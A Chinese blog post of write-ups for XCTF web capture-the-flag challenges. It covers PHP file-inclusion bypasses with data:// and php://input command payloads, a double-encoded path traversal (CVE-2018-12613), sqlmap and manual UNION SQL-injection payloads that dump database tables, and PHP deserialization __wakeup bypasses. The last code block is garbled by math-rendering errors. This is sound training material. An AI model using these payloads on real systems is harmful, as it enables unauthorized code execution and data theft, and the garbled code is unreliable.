攻防世界-web高手进阶区

文章目录


攻防世界-web高手进阶区

提示:这里是记录web的题目,这里我基本不讲很多细节,请自行下载Burpsuite,web题型使用的等等工具。浏览器我使用了火狐浏览器


说明,有的数字没有顺序,我可能是按照CTF题目类型来的,和题目难以来的。

1、baby_web

非常的简单,bp抓包直接把1.php去掉后,就看的flag了。

2、Training-WWW-Robots

非常的简单,点网页进去后,看到了robots.txt进去看到一个可以看到他有一个不允许访问的文件f10g.php,在访就出来了。

3、Web_php_include (文件包含+伪协议)

代码审计

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
   
    $page=str_replace("php://", "", $page);
}
include($page);
?>

思路
strstr()对大小敏感
str_replace()替换函数
找到输入page,如何找到php://则替换掉。
所以只要绕过strstr()函数,既然对大小写敏感,我们就换成小写。

1.方法

php://input(方式一)

解释
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替
$HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下
$HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data
潜在需要更少的内存。 enctype=“multipart/form-data” 的时候 php://input 是无效的。不能使用get的

注意: 在 PHP 5.6 之前 php://input 打开的数据流只能读取一次; 数据流不支持 seek 操作。 不过,依赖于 SAPI
的实现,请求体数据被保存的时候, 它可以打开另一个 php://input 数据流并重新读取。 通常情况下,这种情况只是针对 POST
请求,而不是其他请求方式,比如 PUT 或者 PROPFIND。

  1. 造成文件包含漏洞的函数通常有:
    include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline
    2.data协议
    用法:
    data://text/plain,xxxx(要执行的php代码)
    data://text/plain;base64,xxxx(base64编码后的数据)
    3.php://协议
    php://input,用于执行php代码,需要post请求提交数据。

Php 代码

<?php system('ls');?>
<?php system('cat');?> 这些都是php的代码

可以看现实出来

2.方法

data://text/plain

使用方法:data://text/plain;base64,xxxx(base64编码后的数据)

data://text/plain,<?php system("ls")?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

提交就可以

提交:data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

4.ics-06(bp爆破)

无厘头,爆破ID 先来一个数字的成功就不找了。
使用BP
设置
爆破后

4.warmup

知识点
双重编码+url+…/目录方法

解题步骤
看源码之后
在这里插入图片描述
发现有提示

<?php
    highlight_file(__FILE__);
    class emmm
    {
   
        public static function checkFile(&$page)
        {
   
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //这里是提示
            if (! isset($page) || !is_string($page)) {
   
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
   
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
   
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
   
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
   
        include $_REQUEST['file'];
        exit;
    } else {
   
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

拿到源码
然后看到提示

在这里插入图片描述

if (! empty($_REQUEST['file'])  //$_REQUEST['file']值非空
        && is_string($_REQUEST['file'])  //$_REQUEST['file']值为字符串
        && emmm::checkFile($_REQUEST['file'])  //能够通过checkFile函数校验
    ) {
   
        include $_REQUEST['file'];  //包含$_REQUEST['file']文件
        exit;
    } else {
   
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
        //打印滑稽表情
    }  

'函数名: CheckFile
'作 用:检查某一文件是否存在
'参 数:FileName ------ 文件地址 如:/swf/1.swf
'返回值:False ---- True

一个if语句要求传入的file变量:
• 非空
• 类型为字符串
• 能够通过checkFile()函数校验
同时满足以上三个要求即可包含file中的文件,否则打印滑稽表情
回到上面checkFile()函数

注释了
 highlight_file(__FILE__); //打印代码
    class emmm  //定义emmm类
    {
   
        public static function checkFile(&$page)//将传入的参数赋给$page
        {
   
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组
            if (! isset($page) || !is_string($page)) {
   //若$page变量不存在或非字符串
                echo "you can't see it";//打印"you can't see it"
                return false;//返回false
            }

            if (in_array($page, $whitelist)) {
   //若$page变量存在于$whitelist数组中
                return true;//返回true
            }

            $_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
   
                return true;
            }

            $_page = urldecode($page);//url解码$page
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
   
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

可以看到函数代码中有四个if语句
• 第一个if语句对变量进行检验,要求$page为字符串,否则返回false

• 第二个if语句判断 p a g e 是 否 存 在 于 page是否存在于 pagewhitelist数组中,存在则返回true

• 第三个if语句判断截取后的 p a g e 是 否 存 在 于 page是否存在于 pagewhitelist数组中,截取$page中’?'前部分,存在则返回true

PHP mb_substr() 函数

<?php echo mb_substr("菜鸟教程", 0, 2);  
// 输出:菜鸟 
?>

mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。

在这里插入图片描述
• 第四个if语句判断url解码并截取后的 p a g e 是 否 存 在 于 page是否存在于 pagewhitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false

class emmm
    {
   
        public static function checkFile(&$page)

        {
   
            //白名单列表
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            //isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
            if (! isset($page) || !is_string($page)) {
   
                echo "you can't see it A";
                return false;
            }
            //检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
            if (in_array($page, $whitelist)) {
   
                return true;
            }
            //过滤问号的函数(如果$page的值有?则从?之前提取字符串)
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
            );

             //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
            if (in_array($_page, $whitelist)) {
   
                return true;
            }
            //url对$page解码
            $_page = urldecode($page);

            //第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            //第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
            if (in_array($_page, $whitelist)) {
   
                return true;
            }
            echo "you can't see it";
            return false;
        }
}

可能博客有些地方说的还不够清楚,在这里在说明一下关于payload的问题!!
首先这个地方涉及到一个新的知识:双重编码
比如这题目你将?双重编码的话,经过包含时你包含的文件会被当成一个目录
在自己搭建的一个简单的环境下面举个例子
创建好这几个文件:
在这里插入图片描述
1.php里面是本题的漏洞源码
2.php里面是phpinfo();
source.php里面什么都没有,空的!主要为了通过白名单!
flag.txt乱写一个flag~
进行测试:
在漏洞源码中加上,以便观察:
在这里插入图片描述
构造号payload后能够很清楚的看见,是成功的,它是当作目录执行的:
在这里插入图片描述
同理flag.txt也可以这样得到:
在这里插入图片描述
总结
总之,就是双重编码的话,经过包含时你包含的文件会被当成一个目录!!!!
有三个if语句可以返回true,第二个语句直接判断$page,不可用
第三个语句截取’?‘前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为’?’,仍可通过第四个if语句校验。(’?‘两次编码值为’%253f’),构造url:
http://***😗**/source.php?file=source.php%253f…/ffffllllaaaagggg
无返回值,由于我们不知道ffffllllaaaagggg文件的具体位置,只能依次增加…/,最终在
http://***😗**/source.php?file=source.php%253f…/…/…/…/…/ffffllllaaaagggg中成功回显flag
该漏洞cve编号为CVE-2018-12613,详情请戳

6标题NewsCenter (sql注入)

很简单的一个SQL注入
两种方法
1.自动注入
自己BP抓包后,sqlmap post(不知道百度补充吧)
python sqlmap.py -r 1.txt –dbs
结果
在这里插入图片描述
sqlmap -r xctfrequest.txt -D news --tables
sqlmap -r xctfrequest.txt -D news -T secret_table --columns
sqlmap -r xctfrequest.txt -D news -T secret_table -C “id,fl4g” –dump
在这里插入图片描述
然你也可以一次性把new数据库内的内容全部爆出来,这样就不用一步步找flag在哪了,直接了当,所以对于有目的,好寻找的我们可以使用第一种步步深入;如果比较难找,就第二种方法比较好。

在这里插入图片描述
sqlmap -u “注入地址” --dbs // 列举数据库
sqlmap -u “注入地址” --tables -D “数据库” // 列举数据库的表名
sqlmap -u “注入地址” --columns -T “表名” -D “数据库” // 获取表的列名
sqlmap -u “注入地址” --dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的所有数据

sqlmap -r “含http头的文件” --dbs // 列举数据库
sqlmap -r “含http头的文件” --tables -D “数据库” // 列举数据库的表名
sqlmap -r “含http头的文件” --columns -T “表名” -D “数据库” // 获取表的列名
sqlmap -r “含http头的文件” --dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的所有数据

  1. Sqlmap -u url --dbs 显示数据库管理系统中所有数据库
    2.Sqlmap -u url --current -db 当前网站所使用得数据库
    3.Sqlmap -u url -D 数据库名 --tables 显示当前数据库中所有数据表
    4.Sqlmap -u url -D 数据库名 -T 表名 --columns 显示表中所有得字段名
    5.Sqlmap -u url -D 数据库名 -T 表名 -C 字段名,字段名,字段名…(互相用逗号隔开) --dump 显示数据

2.手动注入
知识背景
在这里插入图片描述
解题步骤

输入‘ 时直接看不到任何东西。
在这里插入图片描述
如何判断sql注入点

1,搜索框或URL尾端加 ’ 如果报错则可能存在sql注入漏洞
2,数字型判断是否有注入
and 1=1//返回正确页面
and 1=2//返回错误页面
3,字符型判断是否有注入
‘ and ‘1’='1//返回正确页面
’ and '1=2//返回错误页面

构造输入为:sd’ union select 1,2 #和sd’ union select 1,2 ,3# (第一个 ‘
闭合后台命令的第一个 ’ ,#注释掉后台的第二个 ’ )只有1,2,3时才正确返回,说明数据格式为3列。
接下来要利用INFORMATION_SCHEMA来得到所有表名,命令很多种,这里就这么构造: sd’ union select
1,2,table_name from information_schema.tables #
前面的1,2,就完全是凑列数的,得到一大串表名,耐下心来找,发现最后有一个secret_table数据库,按照攻防世界“此地无银三百两”的提示习惯,目标就是他,没跑儿了!
接下来就是要利用information_schema.columns的结构来获得secret表的信息了,根据一位大牛的文章,我们要得到的信息也就只有column_name了,或者再加上colume_type查看数据类型。那么构造:
sd’ union select 1,column_type,column_name from
information_schema.columns where table_name=‘secret_table’ #
里面果然有flag,那么就直接: sd’ union select 1,2,fl4g from secret_table #

构造方法2:
首先用 ’ and 0 union select 1,2,3 # 来初步判断该sql查询返回三列数据
在这里插入图片描述
然后用 ’ and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS # 得到表名,很明显我们需要得到 secret_table 表中的内容

在这里插入图片描述
再用 ’ and 0 union select 1,column_name,data_type from information_schema.columns where table_name=‘secret_table’# 得到 secret_table 表的列名以及数据类型
在这里插入图片描述
最后就可以简单粗暴地得到flag
’ and 0 union select 1,2,fl4g from secret_table #

下面是对这次的补充

从上图测试结果可知UNION后面跟的SELECT结果必须是两列,否则会出错。 对了,还记得注入时WHERE后是两个条件吗?(name =
‘name′ANDpasswd=′name′ANDpasswd=′passswd
‘),在实际代码中可能会是更复杂的条件,甚至黑客也很难猜测的条件,那这个UNION语然该插在那个变量呢?使得整个SQL还是个合法的查询语句。
最好安全的做法是将UNION SELECT
…注入到第一个变量中,然后注入的尾部增加一个注释符号,将后的语句注释掉,就不会考虑后面的是什么语句了。在MySQL数据库,使用#符号即可实现注释。
说了这么多,可以做一下注入测试,验证一下: 在username文本框中输入:ivan’ union select 1,2#,如下图:
在这里插入图片描述

点login 按钮后的运行结果如下图所示:

在这里插入图片描述
请留注下红框中生成的SQL语句:
SELECT * FROM userinfo WHERE name = ‘ivan’ union select 1,2# AND passwd = ”
#将后面的SQL内容注释掉了,MySQL解析时直接将它干掉,相当于下面的SQL语句:
SELECT * FROM userinfo WHERE name = ‘ivan’ union select 1,2
select 1, 2的结果是常数行, 在后面的例中尝试从表中查询数据,而不完全是常数行。
好了 ,UNION和#就是撬动爆库的那个支点

总结

原来SQL注入爆数据库是这么容易的,但有几个必备条件

  1. MySQL中出现一个元数据库information_schema,它描述整个MySQL服务器所有数据库->表->字段关系树
  2. SQL语言提供了UNION语句,可以新增窃取其它数据合并到被注入SELECT结果
  3. MySQL对SQL做扩展,提供注释符#,让注入可以为所欲为

7. unserialize3(反序列化)

在这里插入图片描述
在这里插入图片描述
__construct() //当一个对象创建时被调用
__destruct() //对象被销毁时触发
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__toString() //把类当做字符串时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性

参考了
参考1
参考2
百度一下 发现这是一个CVE漏洞 ==》当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
一次我们修改我们注入的值为:

• 了解php反序列化中__wakeup漏洞的利用

• 了解php魔术方法 • __construct(), __destruct(), __call(), __callStatic(),
__get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在 PHP 中被称为魔术方法(Magic methods)。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能
• 注意:PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。
• __sleep() 和 __wakeup() public __sleep ( void ) : array
__wakeup ( void ) : void serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则
NULL 被序列化,并产生一个 E_NOTICE 级别的错误。 Note: (1)__sleep()
不能返回父类的私有成员的名字。这样做会产生一个 E_NOTICE 级别的错误。可以用 Serializable 接口来替代。
(2)__sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。
(3)与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup
方法,预先准备对象需要的资源。 (4)__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
• 访问控制 PHP 对属性或方法的访问控制,是通过在前面添加关键字 public(公有),protected(受保护)或
private(私有)来实现的。 public(公有):公有的类成员可以在任何地方被访问。
protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。
private(私有):私有的类成员则只能被其定义所在的类访问。 • unserialize() 将已序列化的字符串还原回 PHP 的值。
序列化请使用 serialize() 函数。 语法 unserialize(str) 参数 描述 str 必需。一个序列化字符串。
__wakeup()是用在反序列化操作中。unserialize()会检查存在一个__wakeup()方法。如果存在,则先会调用__wakeup()方法。

解题步骤

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的,这里没有序列化字符串,何来反序列化呢?于是,我们这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象peak)。

序列化
因此,我们要反序列化xctf类的同时还要绕过__wakeup方法的执行(如果不绕过__wakeup()方法,那么将会输出bad requests并退出脚本),就要修改序列化字符串中的属性个数:
当我们将上述的序列化的字符串中的对象属性个数由真实值1修改为3,即如下所示
在这里插入图片描述

7.1Web_php_unserializ

两个难点》

  1. preg_match(’/[oc]:\d+:/i’, $var)的绕过
  2. unserialize时__wakeup的绕过 首先直接尝试序列化 这段preg_match()匹配的为 o或c : 任意长度数字(至少一个) /i表示匹配时不区分大小写

在这里插入图片描述

还有一个就是php 中+4 =4
PHP preg_match() 函数
这个师傅讲得挺好的清晰的。

正则表达在线看看:https://tool.oschina.net/regex

正则表达匹配

看看匹配的是什么?

在线php运行https://tool.lu/coderunner/
在这里插入图片描述
在这里插入图片描述

<?php

class Demo {
private KaTeX parse error: Expected group after '_' at position 41: …ublic function _̲_construct(file) {
$this->file = KaTeX parse error: Expected 'EOF', got '}' at position 12: file; }̲ function _…this->file, true);
}
function __wakeup() {
if ($this->file != ‘index.php’) {
//the secret is in the fl4g.php
$this->file = ‘index.php’;
}
}
}
$A = new Demo(‘fl4g.php’);
C = s e r i a l i z e ( C = serialize( C=serialize(A);
echo $C;
//string(49) “O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}”
C = s t r r e p l a c e ( ′ O : 4 ′ , ′ O : + 4 ′ , C = str_replace('O:4', 'O:+4', C=strreplace(O:4,O:+4,C);//绕过preg_match
C = s t r r e p l a c e ( ′ : 1 : ′ , ′ : 2 : ′ , C = str_replace(':1:', ':2:', C=strreplace(:1:,:2:,C);//绕过wakeup
var_dump( C ) ; / / s t r i n g ( 49 ) " O : + 4 : " D e m o " : 2 : s : 10 : " D e m o f i l e " ; s : 8 : " f l 4 g . p h p " ; " v a r d u m p ( b a s e 6 4 e n c o d e ( C); //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}" var_dump(base64_encode( C);//string(49)"O:+4:"Demo"

  • 7
    点赞
  • 44
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值